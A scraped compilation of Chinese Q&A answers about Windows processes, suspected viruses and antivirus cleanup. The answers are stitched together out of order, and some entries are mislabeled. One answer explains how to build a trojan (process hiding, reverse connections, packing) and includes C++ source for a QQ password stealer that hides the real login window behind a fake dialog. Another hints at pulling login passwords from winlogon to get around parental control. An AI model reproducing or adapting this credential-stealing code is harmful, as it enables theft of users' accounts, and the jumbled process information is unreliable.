1.OfficeRegClean.exe 有毒吗
2.打开QQ时TXPlatform.exe这个进程为什么没有在任务管理器里?
3.要写一个简单的木马需要掌握哪些知识？
4.Trojan-Downloader.Win32.Small.acmn是什么
5.电脑进程太多怎么解决 我这些进程可以减少多少有图
6.请教如何禁止renrenservice.exe启动
7.我电脑老是出现 TXPLatform.exe - 应用程序错误
建议赶快重新查杀，或进行安全模式下全盘杀毒，不要怕麻烦安全第一。
推荐你可以试试腾讯电脑管家，他拥有云查杀引擎、反病毒引擎、金山云查杀引擎、AVIRA查杀引擎、小红伞和查杀修复引擎等世界一流杀毒软件内嵌杀毒引擎！保证杀毒质量。
如果遇到顽固木马，可以进入安全模式杀毒看看，可以用腾讯电脑管家工具箱——顽固木马克星（强力查杀功能），也可以试试文件粉碎哟。
建议你在用杀毒软件检测出木马病毒后，第一时间进行清除。一般当扫描出木马后，都会帮您勾选好所有木马，只需要点击“立即清除”就可以了。有些木马需要重启电脑，为了彻底清除危害千万不要嫌麻烦哦。
OfficeRegClean.exe 有毒吗
有份资料，你可以参考下：（最后有个简单的解决方法，你试试）
txplatform.exe
TXPlatform.exe
TXPlatform - TXPlatform.exe - QQ相关进程信息
进程文件： TXPlatform 或者 TXPlatform.exe
进程名称：
描述：腾讯即时通讯客户端相关程序,用于阻止同一个QQ号在同一台电脑上登陆2次
出品者：腾讯 Tencent
属于： 腾讯 Tencent
系统进程： 否
后台程序： 是
使用网络： 是
硬件相关： 否
常见错误： 未知N/A
内存使用： 2344K
安全等级 (0-5): 未知N/A
间谍软件： 否
广告软件： 否
病毒： 否
木马： 否
skdaemond.exe进程信息 进程文件 skdaemond.exe
进程名称:skdaemond
描述:skdaemond.exe是联想标准功能键盘附带软件的文件。 进程名称 skdaemond.exe
出品者 联想 属于 联想
系统进程 后台进程
使用网络 硬件相关
常见错误 内存使用
安全等级 广告软件
间谍软件 病毒
木马
描述 进程文件:skdaemond.exe
进程名称:skdaemond
描述:skdaemond.exe是联想标准功能键盘附带软件的文件。
正常可疑未知
文件名称 版权信息 路径 最早时间 大小
skdaemond.exe 联想 1, 0, 0, 0 %programfiles%\ 联想\ 联想标准功能键盘\ 2007-05-15 23:45:00 73728
skdaemond.exe 1, 0, 0, 1 %programfiles%\ 联想\ 联想标准键盘驱动\ 2007-03-05 15:41:00 61440
skdaemond.exe 联想 1, 0, 0, 0 %programfiles%\ 联想\ 联想标准功能键盘\ 2006-12-03 00:56:00 73728
skdaemond.exe 联想 1, 0, 0, 0 %programfiles%\ 联想\ 联想标准功能键盘\ 2006-05-31 10:36:00 73728
ds.exe
1、进程文件:ds.exe
进程名称:super rabbit desktop set
超级兔子的桌面优化工具,可使桌面背景图标透明(此功能多为win2003\win2000和win98使用) 。像xp一样和背景融合在一起。
出品者:超级兔子软件
属于:超级兔子
系统进程:否
后台进程:是
使用网络:否
硬件相关:否
常见错误:
内存使用:
安全等级:0
间谍软件:否
广告软件:否
病毒:否
木马:否
出品者:超级兔子软件
属于:超级兔子
系统进程:否
后台进程:是
使用网络:否
硬件相关:否
常见错误:
内存使用:
安全等级:0
间谍软件:否
广告软件:否
病毒:否
木马:否
一、ds.exe文件丢失怎么办
方法1.
如果你没有关闭系统还原，可以还原系统。
开始——程序——附件——系统工具——系统还原。
方法2.
如果你有系统安装光盘，那就容易多了。
插入光盘——如果你的光驱设置了“自动播放”，等光盘的画面出现后，请你退出画面（点击“退出”即可）——用右键点击“我的电脑”中的光驱盘符——打开——点击窗口上方的“搜索”——搜索所有的文件和文件夹——输入“ds.ex_”——开始搜索——搜索到了之后，打开命令行模式（开始——运行——输入“cmd”），然后输入：EXPAND G:\I386\ds.ex_ C:\Windows\systemp32\ds.exe——点击回车键(Enter)——一切搞定。
注意1：“G:\I386\ds.ex_”这个路径是我假设的路径，需要按照你搜索到的实际路径来填。
“C:\Windows\systemp32\ds.exe”这个路径也是我假设的路径，如果你知道ds.exe的路径，就填入实际路径；如果你不知道ds.exe的路径，一般情况下，ds.exe就在C:\Windows\systemp32\这个文件夹下。
注意2：EXPAND和G:\I386\ds.ex_之间有个空格；G:\I386\ds.ex_和C:\Windows\systemp32\ds.exe也有个空格！
注意3：在光盘里搜索ds.exe时，一定要填ds.ex_,不要填ds.exe！
附加：
如果搜索到当然是最好的，但有时我们在Windows XP盘中搜索的时候找不到我们需要的文件。产生这种情况的一个原因是要找的文件是在“CAB”文件中。由于Windows XP把“CAB”当作一个文件夹，所以对于Windows XP系统来说，只需要把“CAB”文件右拖然后复制到相应目录即可。
如果使用的是其他Windows平台，搜索到包含目标文件名的“CAB”文件。然后打开命令行模式，输入：“EXTRACT /L 目标位置 CAB文件的完整路径”，例如：EXTRACT /L C:\Windows D:\I386\Driver.cab Notepad.exe。同前面一样，如同路径中有空格的话，则需要用双引号把路径包括起来。
2、ds.exe-木马病毒资料
ds - ds.exe - 进程信息
进程文件： ds 或 ds.exe
进程位置： 系统
程序名称： Trojan.Spymon.ds
程序用途： 木马病毒
程序作者：
系统进程： 否
后台程序： 是
使用网络： 是
硬件相关： 否
安全等级： 低
进程分析： 病毒修改注册表 创建系统服务项 DDOSServer/ImagePath 实现自启动，病毒运行后连接特定服务器接受恶意攻击者指令，并开启后门服务，允许恶意攻击者远程控制计算机。并大量占用系统资源造成机器运行缓慢。
ds.exe 进程信息
进程名称： ds.exe
详细名称： Backdoor.Spymon
具体描述： ds.exe is a process which is registered as the Backdoor.Spymon Trojan.
能否关闭： 病毒进程，强烈建议关闭！ 下载拍拍看查杀此程序(免费)
后台进程： 是
Thunder5.exe
进程文件: Thunder5.exe
进程名称: Thunder5.exe
英文描述: N/A
进程分析: 迅雷号称是最快的下载工具，它是一款最新型的基于P2SP技术的下载软件，兼容传统的P2S和现在流行的P2P下载技术。尤其在下载游戏、工具、MP3音乐方面有着突出的效果。迅雷的最大特色就是其超群的下载速度，优于别的同类软件。迅雷针对宽带用户做了特别的优化，能够充分利用宽带上网的特点，带给用户高速下载的全新体验！而且在用户文件管理方面提供了比较完备的支持，尤其是对于用户比较关注的配置、代理服务器、文件类别管理、批量下载等方面进行了扩充和完善，使得迅雷可以满足中、高级下载用户的大部分专业需求。
进程位置: unknown
程序用途: unknown
作者: 深圳市迅雷网络技术有限公司
属于: 深圳市迅雷网络技术有限公司
安全等级 (0-5): N/A (N/A无危险 5最危险)
间谍软件: 否
广告软件: 否
病毒: 否
木马: 否
系统进程: 否
应用程序: 是
后台程序: 是（采用该选项时）
使用访问: 否
访问互联网: 是（采用该选项时）
stormliv.exe
进程文件： stormliv.exe
进程名称： 暴风影音后台程序
描述：
nvsvc32.exe是暴风影音相关程序。
出品者： 暴风
属于： storm
系统进程： 否
后台程序： 否
使用网络： 是
硬件相关： 否
常见错误： 未知N/A
内存使用： 4268KB
安全等级 (0-5): 0 间谍软件： 否
广告软件: 否
广告软件： 否
木马: 否
LiveUpdate.exe 进程信息 进程文件 liveupdate.exe& 进程名称 LiveUpdate.exe
出品者 acegain inc 属于 acegain liveupdate
系统进程 后台进程
使用网络 硬件相关
常见错误 内存使用
安全等级 广告软件
间谍软件 病毒
木马
描述 进程文件:liveupdate.exe
进程名称:acegain liveupdate
描述:liveupdate.exe 是软件acegain的在线升级程序，但也有可能是其它软件的升级程序，请根据其所在目录进行判断。
w3wp.exe进程信息 进程文件 w3wp 进程名称 w3wp.exe
出品者 未知 属于 未知
系统进程 后台进程
使用网络 硬件相关
常见错误 内存使用
安全等级 广告软件
间谍软件 病毒
木马
描述 进程文件:w3wp或者w3wp.exe 进程名称:issapplicationpoolprocess 描述: w3wp.exe是iss工具的一部分。当你使用多个“w3wp.exe”程序时，会消耗你较多的系统资源，此不应终止被终止。
WMPNSCFG.exe
文件名: WMPNSCFG.exe
显示名: Microsoft Windows Media Player 网络共享服务配置应用程序
描述: Windows Media Player 网络共享服务配置应用程序
发行者: Microsoft Corporation
数字签名方: Microsoft Windows Verification PCA
文件类型: 应用程序
自动启动: 否
文件路径: C:\Program Files\Windows Media Player\WMPNSCFG.exe
文件大小: 201728
文件版本: 11.0.6000.6324 (vista_rtm.061101-2205)
进程 ID: 2432
分类: 允许的
与操作系统一起提供: 是
sysagent.exe
sysagent - sysagent.exe - 进程信息
进程文件： sysagent 或者 sysagent.exe
进程名称： Netsizzle SYSagent
描述：
sysagent.exe是Netsizzle.net相关程序，用于查找硬件和软件信息进行分析。
出品者： Netsizzle.net
属于： Netsizzle SYSagent
系统进程： 否
后台程序： 否
使用网络： 否
硬件相关： 否
常见错误： 未知N/A
内存使用： 未知N/A
安全等级 (0-5): 0
间谍软件： 否
Adware: 否
病毒： 否
木马: 否
WMPNetwk.exe
wmpnetwk.exe进程,用户名为NETWORK SERVICE.Windows Media Player Network Sharing Service:为其他网络播放器或者使用UPnP(Universal Plug and Play，通用即插即用)标准的媒体设备共享Windows Media Player的媒体库。该服务的默认运行方式是手动，不过如果你没有这类设备或者应用的话则可以放心将其禁用。
显示名: Microsoft Windows 操作系统
描述: MeWindows Media Player 网络共享服务
发行者: Microsoft Corporation
数字签名方: Microsoft Windows Verification PCA
文件类型: 应用程序
自动启动: 否
文件路径: C:\Program Files\Windows Media Player\wmpnetwk.exe
文件大小: 887808
文件版本: 11.0.5600.6276 (vista_rc1.060829-2230)
是否为木马程序：否
是否为病毒程序：否
用户名: NT AUTHORITY\NETWORK SERVICE
服务: Windows Media Player Network Sharing Service
分类: 允许的
与操作系统一起提供: 是
解决方法：控制面板——管理工具——服务，找到“Windows Media Player Network Sharing Service”服务，显示“启动类型”为自动，状态为“已启动”。左击，点“属性”，在“常规”页中点击“停止”按钮，再将“启动类型”改为“已禁用”，确定后，即可完成
打开QQ时TXPlatform.exe这个进程为什么没有在任务管理器里?
OfficeRegClean.exe 有毒吗
首先，OfficeRegClean是一款由微软官方合作伙伴Syseak公司出品的登录档修复工具，其简称为RegClean，该软体可以帮助检测和修复Windows的登录档。
RegClean可以帮助使用Windows作业系统的使用者轻松有效的清理Windows的登录档，并修复系统登录档中预设的、被破坏的或残缺的系统引数，从而轻松的提升系统的效能。
其次，如您是在其官网上下载的正版工具，那么就不存在有毒的情况，但并不排除一些使用者在搜寻引擎中下载到了非正版或者是被不法分子安装后后门、木马或者病毒的软体，因此在下载完成后最好能够进行一次防毒扫描！
不过，也不排除有防毒软体误报的情况，因此如果确定您下载的正版的RegClean操作软体，可以在操作前先关闭杀软、卫士等软体
txplatform.exe有毒吗TXPlatform.exe是QQ相关程序资讯，不是病毒
可以删除以减少记忆体使用。
对系统资源占用较多（平时会在后台慢慢吞噬你的记忆体和CPU，强烈建议删除，并不会给QQ带来一些问题，而且会减少QQ的错误，请将QQ资料夹内的TXPFProxy.dll与TXPlatform.exe一起删除，否则会出错）。
putty.exe有毒?:baike.360./4062676/category.
MK连发程式.exe有毒吗这是感染毒，感染了几乎所有的exe档案。
处理感染毒要特别谨慎，因为很多防毒软极不是修复档案而是直接删除。
给你个步骤，你按步骤操作，不过做之前建议你先备份一份带病毒的，因为一旦操作失败可以有补救的机会，等修复成功了，再删除那些带毒的不迟。
解决方案
第一步：下载金山网际网路安全组合套装2011百度搜索 金山毒霸2011套装 选择下载
第二步 安装完以后,开启金山网盾,点选主介面右侧的一键修复的按钮,可以杀掉病毒和系统错误，同时修复部分的exe档案。
第三步 用金山毒霸2011 全盘防毒 或者使用金山卫士全盘查杀
小a报QQ.exe有毒！
这是病毒系结的你的QQ程序来的吧，那个临时档案有病毒，QQ应该是没问题，但是启动QQ病毒也就启动了
360报360 nzp.exe有毒你好楼主，360防毒轻领先双引擎，强力防毒。国际领先的常规反病毒引擎+360云引擎，强力防毒，全面保护您的电脑安全。360防毒可能被木马感染了，最好从官方网站下载，重新安装吧。平时上网的时候开启360安全卫士
360报各种EXE有毒EXE档案被病毒感染了。。。。这种情况下防毒呗 - -~不过要是不能杀就会要求你删除档案。。。最好删除后重装游戏。。。
Rar.exe是什么程序？有毒吗？rar.exerar - rar.exe
程序档案： rar 或者 rar.exe
程序名称： WinRar DOS Executable
描述：
Rar.exe是一个压缩程式，能够达到60%左右的压缩比例。
出品者： Win.Rar gmbh
属于： WinRar DOS Executable
系统程序： 否
后台程式： 否
使用网路： 否
硬体相关： 否
常见错误： 未知N/A
记忆体使用： 未知N/A
安全等级 (0-5): N/A 间谍软体： 否
广告软体: 否
广告软体： 否
木马: 否
exe是什么档案有毒吗怎么防毒呢？exe是可执行档案的副档名， 例如360safe.exe，当然，有些病毒也用这个副档名，如f.exe，如果用防毒软体查不出来，那就没毒。
AVG Free 认为QQ.exe 有毒不是```刚装的AVG就是这样
QQ不是带毒的~!我家的也一样,把QQ当病毒
只是开始时候没识别而已
要写一个简单的木马需要掌握哪些知识？
txplatform.exe是什么？
txplatform.exe是腾讯即时通讯客户端相关程序，用于阻止同一个QQ号在同一台电脑上登陆2次和支持外部添加功能（如添加到用户自定义面板）。同时，该程序用于验证与QQ.com有关的网页登录信息。金山毒霸工程师发现近期有较多病毒木马会伪装成txplatform.exe运行。
txplatform.exe程序有腾讯公司数字签名，通常位于"C:\Program Files\Tencent\QQ\Bin\QQ.exe"路径下。
伪装成txplatform.exe的病毒木马
因为大多数用户并不擅长检查进程，对于病毒伪装的txplatform.exe程序无法有效鉴别。于是便有了较多的恶意软件伪装成txplatform.exe程序，若发现txplatform.exe程序不在QQ所在目录，一定要小心是不是病毒木马伪装。
被伪装成txplatform.exe的病毒感染后的其它现象：
1.系统会变慢，中毒后不少情况下会观察到系统变慢。
2.网络游戏玩家会发现帐号被盗或装备被盗
3.系统可能会无故弹出广告，或者弹出一些你中奖了之类的钓鱼欺诈网页。
4.可能会莫名其妙安装了一些你并没有主动下载的软件。
5.桌面上多出一些图标，点击后会链接到一些导航网站或游戏网站，有的浏览器首页会被锁定为导航站。
如何清除伪装成txplatform.exe的病毒木马
首先应立即进行病毒检查，一般情况下使用金山毒霸2011或金山卫士2.1快速查杀就可以了。 快速查杀，可将正在运行的病毒木马、流氓软件一次清除。
Trojan-Downloader.Win32.Small.acmn是什么
1.良好的编程知识(C++,JAVA,delphi,VB也凑合,实在不行用易语言) 至少会一样吧
2.确定木马的功能.木马有很多种,示功能而定,比如盗号木马,远程控制木马(这类木马一般功能比较完美),网页木马(拿来黑网站用的),还有一些比如实现某一特殊功能的,.如DDOS攻击木马,控制类木马则还要编写主控端
3确定木马的连接方式,主动式和被动式(就是网上说的主动连接和反向连接)主动连接基本已经被淘汰了,
4,木马的隐藏,这是最大的问题也是最难的问题,如果你的木马不能隐藏那么也没就没有生存的余地.不仅仅是隐藏木马文件,进程,(这一般通过加载为系统服务或者通过DLL隐藏进程还有一些木马用驱动隐藏)还要隐藏木马的通信方式,不被防火墙阻止(如HTTP隧道)这里面的学问很多
5加壳,就是加密木马,还可以减少木马体积.
这里主要说下木马主体的编写方式
以最简单的盗QQ木马(阿拉QQ大盗)为例.
1.中马之后,先替换掉TXPlatform.exe(QQ密码保护文件)后台监视系统.如发现QQ.exe,则监视QQ两个文本框的text值,并将输入的信息保存,生成邮件.后台发送到种马人.这个很简单,难的再于如何替换TXPlatform.exe并且不被QQ.exe发现.还有就是如何才能取得QQ文本框中的两个值.
附送一份N年前的QQ盗号木马源程...仅做研究,这个是N年前的,用的不是我上面提到的方法,用的是把QQ的输入框替换为假的,然后密码自然而然的被木马给知道了.
BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID)
{
HANDLE hSnapshot = C★reateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe;
pe.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hSnapshot, &pe)) {
return FALSE;
}
while (Process32Next(hSnapshot, &pe)) {
if (pe.th32ProcessID == PID) {
strcpy(lpszProcessName, pe.szExeFile);
return true;
}
}
return FALSE;
}
//查找QQ登录窗口
void QQFind()
{
HWND hWnd1 = NULL, qqID_hWnd = NULL, qqPass_hWnd = NULL;
HWND ButtonLogin = NULL, ButtonCancel = NULL;
c★har sTitle[255];
CString ss;
DWORD QQPID;
int LoginID;
BOOL find = FALSE;
do
{
//获得当前激活窗口的句柄
g_hWnd = GetForegroundWindow();
GetWindowThreadProcessId(g_hWnd, &QQPID);
//根据PID获得进程名
processIdToName(sTitle, QQPID);
ss = sTitle;
ss.MakeLower();
//判断是否QQ
if(ss != "qq.exe")
{
Sleep(100);
continue;
}
//获得标题文字，判断是否登陆对话框
SendMessage(g_hWnd,WM_GETTEXT,255,(LPARAM)sTitle);
ss = sTitle;
int n = ss.Find("QQ", 0);
int m = ss.Find("登录", 0);
if(n >= 0 || m >= 0)
{
//查找QQ登陆按钮的句柄
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);
ButtonLogin = FindWindowEx(g_hWnd, ButtonLogin, "Button", "登录");
LoginID = GetDlgCtrlID(ButtonLogin);
//获得QQ登陆按钮窗口位置
GetWindowRect(ButtonLogin, &g_qqLogin);
//查找QQ取消按钮的句柄
ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
//获得QQ取消按钮窗口位置
GetWindowRect(ButtonCancel, &g_qqCancel);
//查找QQ密码输入框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);
if(hWnd1 != NULL)
{
qqPass_hWnd = FindWindowEx(hWnd1, qqPass_hWnd, "Edit", NULL);
//获得QQ密码输入框窗口位置
GetWindowRect(qqPass_hWnd, &g_qqPassRt);
}
//查找QQ号码输入框的句柄
hWnd1 = FindWindowEx(g_hWnd, NULL, "ComboBox", NULL);
if(hWnd1 != NULL)
{
qqID_hWnd = FindWindowEx(hWnd1, qqID_hWnd, "Edit", NULL);
//获得QQ号码输入框窗口位置
GetWindowRect(qqID_hWnd, &g_qqIDRt);
//获得当前默认QQ号码
SendMessage(qqID_hWnd,WM_GETTEXT, 255,(LPARAM)qqid);
}
//等待QQ窗口完全出现后抓取整个屏幕
Sleep(100);
g_DlgRt.left = 0;
g_DlgRt.top = 0;
g_DlgRt.right = m_xScreen;
g_DlgRt.bottom = m_yScreen;
g_pBitmap = CopyScreenToBitmap(&g_DlgRt);
//设置QQ窗口为不可见
ShowWindow(g_hWnd, SW_HIDE);
//弹出我们创建的伪造对话框
HINSTANCE hInstance = GetModuleHandle(NULL);
DialogBoxParam(hInstance, (LPCTSTR)IDD_WIN847, 0, (DLGPROC)win847, 0);
//设置QQ窗口为可见
ShowWindow(g_hWnd, SW_SHOW);
//把QQ号码和密码填到真正的QQ登录窗口上，并模拟单击登陆按钮
SendMessage(qqID_hWnd, WM_SETTEXT, 0, (LPARAM)qqid);
SendMessage(qqPass_hWnd, WM_SETTEXT, 0, (LPARAM)qqpass);
SendMessage(ButtonLogin, BM_CLICK, 0, 0);
D★eleteObject(g_pBitmap);
//设置标志退出循环
find = true;
}
}
while(find == FALSE);
}
电脑进程太多怎么解决 我这些进程可以减少多少有图
这是一个木马下载器，本身危害不是很大，可怕的是它会从黑客指定站点下载其它数百种木马，并在被感染的计算机上自动运行，我就是中了它下来的av终结者，搞得头都大了，才查出100多个病毒```
1.你确定无法在安全模式下杀毒麽，要是这样的话可以，可以试试在线杀毒
shadu.duba.net
2.另外请一定要清理一下你的临时文件夹
在系统盘里一共有三个临时文件夹
1.系统临时文件夹的路径：C:\Wihdows\Temp
2.计算机用户帐户临时文件夹：C:\Documents and Settings\用户名\Local Settings\Temp目录下（默认为隐藏目录）
3.IE临时文件夹：你可以通过这个操作查看：打开IE--工具---internet选项----常规---设置。（默认为隐藏目录）
临时文件夹里的内容都可以直接删除。
打开方法:
1.IE--工具---internet选项----常规---设置---查看文件
2.C:\WINDOWS\Temporary Internet Files
附:教你个清理临时文件夹的办法
设置IE临时文件夹
在IE浏览器中单击“工具→Internet选项”选择“常规”选项卡，在“Internet临时文件”下，单击“设置”按钮，在弹出对话框中的“Internet临时文件夹”选项下，拖动“使用的磁盘空间（D）”下的滑块到1000MB时停止，因为看**后有时**文件会留在IE临时文件夹内，再加上还有其他消耗，所以磁盘空间设得大些。之后，单击“移动文件夹”按钮，弹出“浏览文件夹”对话框，找到E盘符并单击它，再单击“确定”按钮，然后，依次单击“确定”按钮，关闭各对话框，重新启动计算机，可以看到IE临时文件夹移到了还有2GB剩余空间的E盘，如此，紧张的C盘磁盘空间问题得到了缓解。至此，综合治理工作完成
也可以下个金山清理专家，金山毒霸不怎么样，这个到挺不错
到duote.com找一下···
请教如何禁止renrenservice.exe启动
打开我们得任务管理器 我们在进程的列表里会看到许许多多的进程，可是具体哪个有用呢 我来一一给大家说明下
1.System windows系统进程，一个重要的进程，权限比计算机管理员还大，要是你想结束它那你就高估你自己了，我曾强行结束过它，结果它给我60秒倒记时重新启动，没有给我任何机会后悔。
2.System Idle Process 系统进程，它的作用是显示系统有多少闲置的cpu资源。System Idle Process进程的作用是在系统空闲的时候分派CPU的时间，如果它显示的超过百分之多少以上的CPU资源并不是指的它占用了这么多CPU资源，恰恰相反，而是表示有百分之多少以上的CPU资源空闲了出来，这里的数字越大表示CPU资源越多，数字越小则表示CPU资源紧张。该进程是系统运行必需的，不能禁止。
3.svchost是一个标准的动态连接库主机处理服务。Svchost用来启动服务。Svchost.只是负责为这些服务提供启动的条件，其自身并不能实现任何服务的功能，也不能为用户提供任何服务。Svchost通过为这些系统服务调用动态链接库（DLL）的方式来启动系统服务。在xp中此进程一般有四个以上。
4.explorer它的作用是用于控制Windows图形，包括开始菜单、任务栏，桌面和文件管理。
6.services 系统进程 用与管理启动和停止Windows服务，该进程也管理计算机启动和关机时的运行的服务，所以很重要。还有一点很重要，有一个木马的名字和它一样，如果他占用了大量的cpu资源或者它的安全等级是建议，那你必须马上关闭它。
7.alg这是一个应用层网关服务用于网络共享，alg.exe是微软Windows操作系统自带的程序。它用于处理微软Windows网络连接共享和网络连接防火墙。这个程序对你系统的正常运行是非常重要的。简单的说它是你电脑的门卫！
8.csrss.exe是微软客户端/服务端运行时子系统。该进程管理Windows图形相关任务。 注意：csrss.exe也有可能是W32.Netsky.AB@mm、W32.Webus Trojan、Win32.Ladex.a等病毒创建的。该病毒通过Email邮件进行传播，当你打开附件时，即被感染。该蠕虫会在受害者机器上建立SMTP服务，用以自身传播。该病毒允许攻击者访问你的计算机，窃取木马和个人数据。这个进程的安全等级是建议立即进行删除。
9.taskmgr 这个进程来头可不小哦，只要你打开任务管理器查看进程的时候它肯定在，因为它就是任务管理器的进程。
10.rundll32.exe用于在内存中运行DLL文件，它们会在应用程序中被使用，一般有多个。下面那个长的很像，作用是一样的，请大家注意区分。
11.rundll.exe是Windows 95/98/Me系统的一部分。这个程序对你系统的正常运行是非常重要的。注意：rundll.exe也可能是LOXOSCAM和Backdoor.SchoolBus.B木马的一部分。在Windows XP和2000中出现。该病毒允许攻击者访问你的计算机。该进程的安全等级是建议立即删除。
12.smss.exe是微软Windows操作系统的一部分。该进程调用对话管理子系统和负责操作你系统的对话。这个程序对你系统的正常运行是非常重要，系统弹出的对话框就是它控制的。
13.winlogon.exe 这个进程是管理用户登录和退出的。而且winlogon在用户按下CTRL+ALT+DEL时就激活了，显示安全对话框。当然你也可以从这个进程中获得当前用户的登入密码，比如你的父母控制你，他们帮你输密码，控制你使用电脑的自由，那你就可以……呵呵
14.ctfmon 是Microsoft Office产品套装的一部分。它可以选择用户文字输入程序，和微软Office XP语言条。这不是纯粹的系统程序，但是如果终止它，可能会导致不可知的问题。
15. Wuauclt.exe是Windows自动升级管理程序。该进程会不断在线检测更新。删除该进程将使你无法得到最新更新信息。大家用的应该都是盗版的，如果不想看到没完没了的提示你更新，可以把它禁止了。
一般学生用户不需要用到的进程11月12日更新
16.spoolsv 这个是打印的进程
如果你没有安装打印机和传真,你就可以把与打印和传真有关的服务关掉,以便节省资源,让你的爱机跑的更快. lsass.exe也是重要系统进程 这些就是正常的进程 其他的可以关 如果发现把杀毒软件关了 下次就不关它了 上面介绍的不要关哦！
如何自动关闭无用进程 加快计算机速度：开始→运行→输入msconfig→启动→留着CF..其他的不要
我电脑老是出现 TXPLatform.exe - 应用程序错误
我来告诉你把：360安全卫士——>功能大全——>热度推荐里面的“开机加速”——》可以看到下图！然后选择：禁止启动！！OK了，，搞定，，给分吧?！！！！！！！！！
应用程序错误,建议楼主采取以下措施,解决您的问题
内存条坏了－－更换内存条
双内存不兼容－－使用同品牌的内存或只用一条内存
散热问题－－加强机箱内部的散热
驱动问题－－重装驱动。如果是新系统，要先安装主板驱动
软件损坏－－重装软件 软件有BUG－－打补丁或用最新的版本。
软件和系统不兼容－－给软件打上补丁或者试试系统的兼容模式
软件和软件之间有冲突－－如果最近安装了什么新软件，卸载了试试 软件要使用到其它相关的软件有问题－－重装相关软件。
病毒问题－－杀毒软件与系统或软件冲突－－由于杀毒软件是进入底层监控系统的，可能与一些软件冲突，卸载了换用兼容性好的杀毒软件(比如金山金山毒霸2011版sp6)。
这个问题，经常出现在windows2000和XP系统上，Windows 2000/XP对硬件的要求是很苛刻的,一旦遇到资源死锁、溢出或者类似Windows 98里的非法操作，系统为保持稳定，就会出现上述情况。
